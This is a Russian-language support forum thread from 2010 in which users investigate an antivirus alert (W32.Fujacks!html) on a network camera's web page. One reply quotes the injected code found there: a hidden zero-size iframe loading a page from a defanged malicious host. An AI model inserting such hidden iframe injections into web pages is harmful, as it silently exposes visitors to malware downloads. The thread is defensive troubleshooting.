faq обучение настройка
Текущее время: Пн июл 21, 2025 15:03

Часовой пояс: UTC + 3 часа




Начать новую тему Ответить на тему  [ Сообщений: 9 ] 
Автор Сообщение
СообщениеДобавлено: Сб дек 25, 2010 23:31 
Не в сети

Зарегистрирован: Пт дек 24, 2010 00:17
Сообщений: 29
При попытке открытия страницы http://<адрес>:<порт>/m в InternetExplorer выдает аларм о заражении вырусом W32.Fujacks!html
http://securityresponse.symantec.com/se ... 09-4100-99


Вернуться наверх
 Профиль  
 
СообщениеДобавлено: Вс дек 26, 2010 00:12 
Не в сети

Зарегистрирован: Пн май 18, 2009 20:42
Сообщений: 229
Откуда: Рязань
iG0R_S писал(а):
При попытке открытия страницы http://<адрес>:<порт>/m в InternetExplorer выдает аларм о заражении вырусом W32.Fujacks!html
http://securityresponse.symantec.com/se ... 09-4100-99

Прежде всего проверьте свой компьютер
Вирус заражает компьютеры с Windows, вообще то вирус старый с 2007 года.

_________________
[u][b]per aspera ad astra[/b][/u]


Вернуться наверх
 Профиль  
 
СообщениеДобавлено: Вс дек 26, 2010 12:42 
Не в сети

Зарегистрирован: Пт дек 24, 2010 00:17
Сообщений: 29
А как Вы думаете я смог узнать, что такой вирус имеется? Конечно же антивирусом на своем компьютере.
Причем, антивирус всегда начинает "кричать" тогда, когда я пытаюсь зайти по этому адресу из IE, из Хрома - все в порядке (т.к. в Хроме у меня установлен парсинг кода по удалению всего непотребного), из Safari на iPhone не смог определить - есть вирус или нет, т.к. нет на iPhone антивируса.
Затем я дал ссылку своим знакомым - при попытке зайти на эту страницу из Оперы, Firefox или из IE - аналогичная ситуация о нахождении вируса W32.Fujacks!html
Вот я и подумал, что в самой прошивке, во время ее создания, прогавали этот вирус.


Вернуться наверх
 Профиль  
 
СообщениеДобавлено: Пн дек 27, 2010 13:23 
Не в сети
Сотрудник D-LINK
Сотрудник D-LINK

Зарегистрирован: Пн дек 20, 2010 13:28
Сообщений: 26
У вас карта памяти,случаем,не установлена в камеру? В прошивке не может содержаться вируса


Вернуться наверх
 Профиль  
 
СообщениеДобавлено: Пн дек 27, 2010 13:31 
Не в сети

Зарегистрирован: Пт дек 24, 2010 00:17
Сообщений: 29
Карты памяти нет.
Вообще обнаружил случайно, т.к. пользуюсь только Хромом. Да и в iPhone Safari.
Решил показать знакомым свою территорию, дал им ссылку, а они в ответ - Что это ты нам вирус подсылаешь???!!! Поинтересовался каким браузером они пользуются, сказали, что Лисой, попросил проверить в IE и Опере -- аналогично. Попросил других знакомых пройти по ссылке, они сразу использовали IE - тоже говорят о вирусе. Тогда у себя загрузил в IE - антивирус (Нортон) просто взбесился, т.к. при каждом обновлении кадра высвечивался аларм...


Вернуться наверх
 Профиль  
 
СообщениеДобавлено: Пн дек 27, 2010 13:43 
Не в сети
Сотрудник D-LINK
Сотрудник D-LINK

Зарегистрирован: Пн дек 20, 2010 13:28
Сообщений: 26
Возможен вариант попадания вируса во время прошивки.После того как скачали прошивку -вирус, уже на компьютере, заразил каким то образом файл и во время процесса прошивки попал в 8 мегабайт внутренней памяти.Скачайте заново прошивку и установите. В данный момент это самый разумный вариант


Вернуться наверх
 Профиль  
 
СообщениеДобавлено: Пн дек 27, 2010 13:52 
Не в сети

Зарегистрирован: Пт дек 24, 2010 00:17
Сообщений: 29
Так и сделал изначально - заново прогнал антивирусом все диски (как и следовало ожидать - ничего найдено не было), затем перепрошил - вирус все равно есть при заходе по этому адресу.
Будьте так добры, проверьте у себя. Прошивка 1.05_4630.


Вернуться наверх
 Профиль  
 
СообщениеДобавлено: Пн дек 27, 2010 20:27 
Не в сети

Зарегистрирован: Пн май 18, 2009 20:42
Сообщений: 229
Откуда: Рязань
iG0R_S писал(а):
Так и сделал изначально - заново прогнал антивирусом все диски (как и следовало ожидать - ничего найдено не было), затем перепрошил - вирус все равно есть при заходе по этому адресу.
Будьте так добры, проверьте у себя. Прошивка 1.05_4630.

Да есть такое дело но там не вирус а остатки от вируса, опасности не представляет если точнее
Скрытый текст: показать
iframe src=hХХp://wХw.lovebak.com/qq.htm width="0" height="0"></iframe>

и то по ссылке которое указана http://<адрес>:80/m больше не где не обнаружено, если есть где то "iG0R_S" подскажите.

_________________
[u][b]per aspera ad astra[/b][/u]


Вернуться наверх
 Профиль  
 
СообщениеДобавлено: Пн дек 27, 2010 22:52 
Не в сети

Зарегистрирован: Пт дек 24, 2010 00:17
Сообщений: 29
Нортон мне выдает:
16 записей в реестр, которые осуществил данный вирус и 1 файл, который его содержит.

Записи в реестре - это в основном попытка записать свои данные в строки реестра InternetExplorer (Internet explorer\Main -> Window Title, Internet explorer\Main -> Start Page) и 1 запись в Winlogon -> Userinit.
1 файл на диске - это собственно сама страница - index[4].htm


Вернуться наверх
 Профиль  
 
Показать сообщения за:  Сортировать по:  
Начать новую тему Ответить на тему  [ Сообщений: 9 ] 

Часовой пояс: UTC + 3 часа


Кто сейчас на форуме

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 6


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете добавлять вложения

Найти:
Перейти:  
Создано на основе phpBB® Forum Software © phpBB Group
Русская поддержка phpBB